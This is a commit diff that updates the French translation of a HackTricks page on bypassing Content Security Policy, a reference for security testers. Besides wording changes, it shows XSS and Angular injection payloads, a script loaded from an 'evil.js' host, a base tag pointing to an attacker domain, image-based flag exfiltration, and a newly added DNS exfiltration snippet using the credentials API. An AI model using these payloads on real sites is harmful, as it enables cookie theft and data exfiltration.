mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/pentesting-web/content-security-policy-csp-bypass/READM
This commit is contained in:
Translator
parent
1e21c4462d
commit
60d3deb8d8
@ -6,7 +6,7 @@
|
||||
|
||||
La Politique de Sécurité du Contenu (CSP) est reconnue comme une technologie de navigateur, principalement destinée à **protéger contre des attaques telles que le cross-site scripting (XSS)**. Elle fonctionne en définissant et en détaillant les chemins et les sources à partir desquels les ressources peuvent être chargées en toute sécurité par le navigateur. Ces ressources englobent une gamme d'éléments tels que des images, des cadres et du JavaScript. Par exemple, une politique pourrait permettre le chargement et l'exécution de ressources depuis le même domaine (self), y compris les ressources en ligne et l'exécution de code sous forme de chaîne via des fonctions comme `eval`, `setTimeout` ou `setInterval`.
|
||||
|
||||
La mise en œuvre de CSP se fait par le biais des **en-têtes de réponse** ou en intégrant des **éléments meta dans la page HTML**. En suivant cette politique, les navigateurs appliquent proactivement ces stipulations et bloquent immédiatement toute violation détectée.
|
||||
La mise en œuvre de CSP se fait par le biais des **en-têtes de réponse** ou en incorporant des **éléments meta dans la page HTML**. En suivant cette politique, les navigateurs appliquent proactivement ces stipulations et bloquent immédiatement toute violation détectée.
|
||||
|
||||
- Mis en œuvre via l'en-tête de réponse :
|
||||
```
|
||||
@ -18,7 +18,7 @@ Content-Security-policy: default-src 'self'; img-src 'self' allowed-website.com;
|
||||
```
|
||||
### En-têtes
|
||||
|
||||
CSP peut être appliqué ou surveillé à l'aide de ces en-têtes :
|
||||
CSP peut être appliqué ou surveillé en utilisant ces en-têtes :
|
||||
|
||||
- `Content-Security-Policy` : Applique le CSP ; le navigateur bloque toute violation.
|
||||
- `Content-Security-Policy-Report-Only` : Utilisé pour la surveillance ; signale les violations sans les bloquer. Idéal pour les tests dans des environnements de pré-production.
|
||||
@ -58,7 +58,7 @@ object-src 'none';
|
||||
- **report-to**: Spécifie un groupe auquel un rapport sera envoyé si la politique est violée.
|
||||
- **worker-src**: Spécifie les sources valides pour les scripts Worker, SharedWorker ou ServiceWorker.
|
||||
- **prefetch-src**: Spécifie les sources valides pour les ressources qui seront récupérées ou pré-récupérées.
|
||||
- **navigate-to**: Restreint les URL vers lesquelles un document peut naviguer par n'importe quel moyen (a, form, window.location, window.open, etc.)
|
||||
- **navigate-to**: Restreint les URL vers lesquelles un document peut naviguer par tous les moyens (a, form, window.location, window.open, etc.)
|
||||
|
||||
### Sources
|
||||
|
||||
@ -94,9 +94,9 @@ b.nonce=a.nonce; doc.body.appendChild(b)' />
|
||||
- `https:`: Restreint les URL à celles qui utilisent HTTPS.
|
||||
- `blob:`: Permet de charger des ressources à partir d'URL Blob (par exemple, des URL Blob créées via JavaScript).
|
||||
- `filesystem:`: Permet de charger des ressources à partir du système de fichiers.
|
||||
- `'report-sample'`: Inclut un échantillon du code violant dans le rapport de violation (utile pour le débogage).
|
||||
- `'report-sample'`: Inclut un échantillon du code enfreignant dans le rapport de violation (utile pour le débogage).
|
||||
- `'strict-origin'`: Semblable à 'self' mais garantit que le niveau de sécurité du protocole des sources correspond au document (seules les origines sécurisées peuvent charger des ressources à partir d'origines sécurisées).
|
||||
- `'strict-origin-when-cross-origin'`: Envoie des URL complètes lors de la réalisation de requêtes de même origine mais envoie uniquement l'origine lorsque la requête est cross-origin.
|
||||
- `'strict-origin-when-cross-origin'`: Envoie des URL complètes lors de la réalisation de requêtes de même origine mais envoie uniquement l'origine lorsque la requête est inter-origine.
|
||||
- `'unsafe-allow-redirects'`: Permet de charger des ressources qui redirigeront immédiatement vers une autre ressource. Non recommandé car cela affaiblit la sécurité.
|
||||
|
||||
## Règles CSP non sécurisées
|
||||
@ -159,9 +159,9 @@ Payload fonctionnel :
|
||||
```markup
|
||||
"/>'><script src="/uploads/picture.png.js"></script>
|
||||
```
|
||||
Cependant, il est très probable que le serveur **valide le fichier téléchargé** et n'autorisera que le **téléchargement de types de fichiers déterminés**.
|
||||
Cependant, il est très probable que le serveur **valide le fichier téléchargé** et n'autorise que le **téléchargement de types de fichiers déterminés**.
|
||||
|
||||
De plus, même si vous pouviez télécharger un **code JS à l'intérieur** d'un fichier avec une extension acceptée par le serveur (comme : _script.png_), cela ne suffira pas car certains serveurs comme le serveur apache **sélectionnent le type MIME du fichier en fonction de l'extension** et des navigateurs comme Chrome **refuseront d'exécuter du code Javascript** à l'intérieur de quelque chose qui devrait être une image. "Heureusement", il y a des erreurs. Par exemple, lors d'un CTF, j'ai appris que **Apache ne connaît pas** l'extension _**.wave**_, donc il ne la sert pas avec un **type MIME comme audio/\***.
|
||||
De plus, même si vous pouviez télécharger un **code JS à l'intérieur** d'un fichier avec une extension acceptée par le serveur (comme : _script.png_), cela ne suffira pas car certains serveurs comme le serveur apache **sélectionnent le type MIME du fichier en fonction de l'extension** et des navigateurs comme Chrome **refuseront d'exécuter du code Javascript** à l'intérieur de quelque chose qui devrait être une image. "Espérons-le", il y a des erreurs. Par exemple, lors d'un CTF, j'ai appris que **Apache ne connaît pas** l'extension _**.wave**_, donc il ne la sert pas avec un **type MIME comme audio/\***.
|
||||
|
||||
À partir de là, si vous trouvez un XSS et un téléchargement de fichier, et que vous parvenez à trouver une **extension mal interprétée**, vous pourriez essayer de télécharger un fichier avec cette extension et le contenu du script. Ou, si le serveur vérifie le format correct du fichier téléchargé, créez un polyglot ([quelques exemples de polyglots ici](https://github.com/Polydet/polyglot-database)).
|
||||
|
||||
@ -232,7 +232,7 @@ Angular XSS à partir d'un nom de classe :
|
||||
```
|
||||
#### Abuser du code JS de google recaptcha
|
||||
|
||||
Selon [**ce rapport CTF**](https://blog-huli-tw.translate.goog/2023/07/28/google-zer0pts-imaginary-ctf-2023-writeup/?_x_tr_sl=es&_x_tr_tl=en&_x_tr_hl=es&_x_tr_pto=wapp#noteninja-3-solves), vous pouvez abuser de [https://www.google.com/recaptcha/](https://www.google.com/recaptcha/) à l'intérieur d'un CSP pour exécuter du code JS arbitraire en contournant le CSP :
|
||||
Selon [**ce compte rendu CTF**](https://blog-huli-tw.translate.goog/2023/07/28/google-zer0pts-imaginary-ctf-2023-writeup/?_x_tr_sl=es&_x_tr_tl=en&_x_tr_hl=es&_x_tr_pto=wapp#noteninja-3-solves), vous pouvez abuser de [https://www.google.com/recaptcha/](https://www.google.com/recaptcha/) à l'intérieur d'une CSP pour exécuter du code JS arbitraire en contournant la CSP :
|
||||
```html
|
||||
<div
|
||||
ng-controller="CarouselController as c"
|
||||
@ -260,7 +260,7 @@ b=doc.createElement("script");
|
||||
b.src="//example.com/evil.js";
|
||||
b.nonce=a.nonce; doc.body.appendChild(b)' />
|
||||
```
|
||||
#### Abuser de www.google.com pour un redirection ouverte
|
||||
#### Abuser de www.google.com pour une redirection ouverte
|
||||
|
||||
L'URL suivante redirige vers example.com (depuis [ici](https://www.landh.tech/blog/20240304-google-hack-50000/)):
|
||||
```
|
||||
@ -292,16 +292,16 @@ La même vulnérabilité se produira si le **point de terminaison de confiance c
|
||||
|
||||
Comme décrit dans le [post suivant](https://sensepost.com/blog/2023/dress-code-the-talk/#bypasses), il existe de nombreux domaines tiers, qui pourraient être autorisés quelque part dans le CSP, pouvant être abusés pour soit exfiltrer des données, soit exécuter du code JavaScript. Certains de ces tiers sont :
|
||||
|
||||
| Entité | Domaine autorisé | Capacités |
|
||||
| ----------------- | -------------------------------------------- | ------------ |
|
||||
| Facebook | www.facebook.com, \*.facebook.com | Exfil |
|
||||
| Hotjar | \*.hotjar.com, ask.hotjar.io | Exfil |
|
||||
| Jsdelivr | \*.jsdelivr.com, cdn.jsdelivr.net | Exec |
|
||||
| Amazon CloudFront | \*.cloudfront.net | Exfil, Exec |
|
||||
| Amazon AWS | \*.amazonaws.com | Exfil, Exec |
|
||||
| Entité | Domaine autorisé | Capacités |
|
||||
| ----------------- | ------------------------------------------- | ------------ |
|
||||
| Facebook | www.facebook.com, \*.facebook.com | Exfil |
|
||||
| Hotjar | \*.hotjar.com, ask.hotjar.io | Exfil |
|
||||
| Jsdelivr | \*.jsdelivr.com, cdn.jsdelivr.net | Exec |
|
||||
| Amazon CloudFront | \*.cloudfront.net | Exfil, Exec |
|
||||
| Amazon AWS | \*.amazonaws.com | Exfil, Exec |
|
||||
| Azure Websites | \*.azurewebsites.net, \*.azurestaticapps.net | Exfil, Exec |
|
||||
| Salesforce Heroku | \*.herokuapp.com | Exfil, Exec |
|
||||
| Google Firebase | \*.firebaseapp.com | Exfil, Exec |
|
||||
| Salesforce Heroku | \*.herokuapp.com | Exfil, Exec |
|
||||
| Google Firebase | \*.firebaseapp.com | Exfil, Exec |
|
||||
|
||||
Si vous trouvez l'un des domaines autorisés dans le CSP de votre cible, il y a des chances que vous puissiez contourner le CSP en vous inscrivant sur le service tiers et, soit exfiltrer des données vers ce service, soit exécuter du code.
|
||||
|
||||
@ -343,9 +343,9 @@ Le navigateur chargera finalement `https://example.com/scripts/angular/angular.j
|
||||
|
||||
Cela fonctionne parce que pour le navigateur, vous chargez un fichier nommé `..%2fangular%2fangular.js` situé sous `https://example.com/scripts/react/`, ce qui est conforme au CSP.
|
||||
|
||||
∑, ils le décoderont, demandant effectivement `https://example.com/scripts/react/../angular/angular.js`, ce qui équivaut à `https://example.com/scripts/angular/angular.js`.
|
||||
∑, ils le décoderont, demandant effectivement `https://example.com/scripts/react/../angular/angular.js`, ce qui est équivalent à `https://example.com/scripts/angular/angular.js`.
|
||||
|
||||
En **exploiter cette incohérence dans l'interprétation des URL entre le navigateur et le serveur, les règles de chemin peuvent être contournées**.
|
||||
En **exploité cette incohérence dans l'interprétation des URL entre le navigateur et le serveur, les règles de chemin peuvent être contournées**.
|
||||
|
||||
La solution consiste à ne pas traiter `%2f` comme `/` côté serveur, garantissant une interprétation cohérente entre le navigateur et le serveur pour éviter ce problème.
|
||||
|
||||
@ -362,7 +362,7 @@ Exemple en ligne :[ ](https://jsbin.com/werevijewa/edit?html,output)[https://jsb
|
||||
Si la directive **base-uri** est manquante, vous pouvez en abuser pour effectuer une [**injection de balisage pendante**](../dangling-markup-html-scriptless-injection/index.html).
|
||||
|
||||
De plus, si la **page charge un script en utilisant un chemin relatif** (comme `<script src="/js/app.js">`) en utilisant un **Nonce**, vous pouvez abuser de la **balise** **base** pour faire **charger** le script depuis **votre propre serveur, réalisant ainsi un XSS.**\
|
||||
Si la page vulnérable est chargée avec **httpS**, utilisez une URL httpS dans la balise de base.
|
||||
Si la page vulnérable est chargée avec **httpS**, utilisez une URL httpS dans la base.
|
||||
```html
|
||||
<base href="https://www.attacker.com/" />
|
||||
```
|
||||
@ -375,7 +375,7 @@ En dirigeant ce tableau vers le filtre `orderBy`, il est possible de l'itérer,
|
||||
<input%20id=x%20ng-focus=$event.path|orderBy:%27(z=alert)(document.cookie)%27>#x
|
||||
?search=<input id=x ng-focus=$event.path|orderBy:'(z=alert)(document.cookie)'>#x
|
||||
```
|
||||
Ce snippet met en évidence l'utilisation de la directive `ng-focus` pour déclencher l'événement, en utilisant `$event.path|orderBy` pour manipuler le tableau `path`, et en s'appuyant sur l'objet `window` pour exécuter la fonction `alert()`, révélant ainsi `document.cookie`.
|
||||
Ce extrait met en évidence l'utilisation de la directive `ng-focus` pour déclencher l'événement, en utilisant `$event.path|orderBy` pour manipuler le tableau `path`, et en tirant parti de l'objet `window` pour exécuter la fonction `alert()`, révélant ainsi `document.cookie`.
|
||||
|
||||
**Trouvez d'autres contournements Angular dans** [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet)
|
||||
|
||||
@ -435,7 +435,7 @@ Lisez [comment ici](../dangling-markup-html-scriptless-injection/index.html).
|
||||
```
|
||||
default-src 'self' 'unsafe-inline'; img-src *;
|
||||
```
|
||||
`'unsafe-inline'` signifie que vous pouvez exécuter n'importe quel script à l'intérieur du code (XSS peut exécuter du code) et `img-src *` signifie que vous pouvez utiliser sur la page web n'importe quelle image provenant de n'importe quelle ressource.
|
||||
`'unsafe-inline'` signifie que vous pouvez exécuter n'importe quel script dans le code (XSS peut exécuter du code) et `img-src *` signifie que vous pouvez utiliser sur la page web n'importe quelle image provenant de n'importe quelle ressource.
|
||||
|
||||
Vous pouvez contourner cette CSP en exfiltrant les données via des images (dans ce cas, le XSS abuse d'un CSRF où une page accessible par le bot contient un SQLi, et extrait le drapeau via une image) :
|
||||
```javascript
|
||||
@ -480,7 +480,7 @@ Exemple : [http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=;\_\&y=%
|
||||
Remarquez l'absence de la directive `'unsafe-inline'`\
|
||||
Cette fois, vous pouvez faire en sorte que la victime **charge** une page sous **votre contrôle** via **XSS** avec un `<iframe`. Cette fois, vous allez faire en sorte que la victime accède à la page d'où vous souhaitez extraire des informations (**CSRF**). Vous ne pouvez pas accéder au contenu de la page, mais si d'une manière ou d'une autre vous pouvez **contrôler le temps que la page met à charger**, vous pouvez extraire les informations dont vous avez besoin.
|
||||
|
||||
Cette fois, un **drapeau** va être extrait, chaque fois qu'un **caractère est correctement deviné** via SQLi, la **réponse** prend **plus de temps** en raison de la fonction sleep. Ensuite, vous pourrez extraire le drapeau :
|
||||
Cette fois, un **drapeau** va être extrait, chaque fois qu'un **caractère est correctement deviné** via SQLi, la **réponse** prend **plus de temps** en raison de la fonction de sommeil. Ensuite, vous pourrez extraire le drapeau :
|
||||
```html
|
||||
<!--code from https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle -->
|
||||
<iframe name="f" id="g"></iframe> // The bot will load an URL with the payload
|
||||
@ -542,13 +542,13 @@ run()
|
||||
```
|
||||
### Via Bookmarklets
|
||||
|
||||
Cette attaque impliquerait une ingénierie sociale où l'attaquant **convainc l'utilisateur de faire glisser et déposer un lien sur le bookmarklet du navigateur**. Ce bookmarklet contiendrait **du code javascript malveillant** qui, lorsqu'il est glissé et déposé ou cliqué, serait exécuté dans le contexte de la fenêtre web actuelle, **bypassant le CSP et permettant de voler des informations sensibles** telles que des cookies ou des tokens.
|
||||
Cette attaque impliquerait une ingénierie sociale où l'attaquant **convainc l'utilisateur de faire glisser et déposer un lien sur le bookmarklet du navigateur**. Ce bookmarklet contiendrait **du code javascript malveillant** qui, lorsqu'il est glissé et déposé ou cliqué, serait exécuté dans le contexte de la fenêtre web actuelle, **bypassant CSP et permettant de voler des informations sensibles** telles que des cookies ou des tokens.
|
||||
|
||||
Pour plus d'informations [**consultez le rapport original ici**](https://socradar.io/csp-bypass-unveiled-the-hidden-threat-of-bookmarklets/).
|
||||
|
||||
### Bypass CSP en restreignant le CSP
|
||||
### CSP bypass by restricting CSP
|
||||
|
||||
Dans [**ce rapport CTF**](https://github.com/google/google-ctf/tree/master/2023/web-biohazard/solution), le CSP est contourné en injectant à l'intérieur d'un iframe autorisé un CSP plus restrictif qui interdisait de charger un fichier JS spécifique qui, ensuite, via **prototype pollution** ou **dom clobbering**, permettait de **profiter d'un script différent pour charger un script arbitraire**.
|
||||
Dans [**ce CTF writeup**](https://github.com/google/google-ctf/tree/master/2023/web-biohazard/solution), CSP est contourné en injectant à l'intérieur d'un iframe autorisé un CSP plus restrictif qui interdisait de charger un fichier JS spécifique qui, ensuite, via **prototype pollution** ou **dom clobbering**, permettait de **profiter d'un script différent pour charger un script arbitraire**.
|
||||
|
||||
Vous pouvez **restreindre un CSP d'un Iframe** avec l'attribut **`csp`** :
|
||||
```html
|
||||
@ -556,8 +556,8 @@ Vous pouvez **restreindre un CSP d'un Iframe** avec l'attribut **`csp`** :
|
||||
src="https://biohazard-web.2023.ctfcompetition.com/view/[bio_id]"
|
||||
csp="script-src https://biohazard-web.2023.ctfcompetition.com/static/closure-library/ https://biohazard-web.2023.ctfcompetition.com/static/sanitizer.js https://biohazard-web.2023.ctfcompetition.com/static/main.js 'unsafe-inline' 'unsafe-eval'"></iframe>
|
||||
```
|
||||
Dans [**ce rapport CTF**](https://github.com/aszx87410/ctf-writeups/issues/48), il a été possible via **HTML injection** de **restreindre** davantage un **CSP** afin qu'un script empêchant le CSTI soit désactivé et donc la **vulnérabilité est devenue exploitable.**\
|
||||
Le CSP peut être rendu plus restrictif en utilisant **HTML meta tags** et les scripts en ligne peuvent désactiver **la suppression** de **l'entrée** permettant leur **nonce** et **activer des scripts en ligne spécifiques via sha** :
|
||||
Dans [**ce rapport CTF**](https://github.com/aszx87410/ctf-writeups/issues/48), il était possible via **HTML injection** de **restreindre** davantage un **CSP** afin qu'un script empêchant le CSTI soit désactivé et donc la **vulnérabilité est devenue exploitable.**\
|
||||
Le CSP peut être rendu plus restrictif en utilisant **HTML meta tags** et les scripts en ligne peuvent désactiver **la suppression** de l'**entrée** permettant leur **nonce** et **activer des scripts en ligne spécifiques via sha** :
|
||||
```html
|
||||
<meta
|
||||
http-equiv="Content-Security-Policy"
|
||||
@ -700,6 +700,19 @@ var pc = new RTCPeerConnection({
|
||||
});
|
||||
pc.createOffer().then((sdp)=>pc.setLocalDescription(sdp);
|
||||
```
|
||||
### CredentialsContainer
|
||||
|
||||
La fenêtre contextuelle des identifiants envoie une requête DNS à l'iconURL sans être restreinte par la page. Elle ne fonctionne que dans un contexte sécurisé (HTTPS) ou sur localhost.
|
||||
```javascript
|
||||
navigator.credentials.store(
|
||||
new FederatedCredential({
|
||||
id:"satoki",
|
||||
name:"satoki",
|
||||
provider:"https:"+your_data+"example.com",
|
||||
iconURL:"https:"+your_data+"example.com"
|
||||
})
|
||||
)
|
||||
```
|
||||
## Vérification des politiques CSP en ligne
|
||||
|
||||
- [https://csp-evaluator.withgoogle.com/](https://csp-evaluator.withgoogle.com)
|
||||
|
||||
Loading…
x
Reference in New Issue
Block a user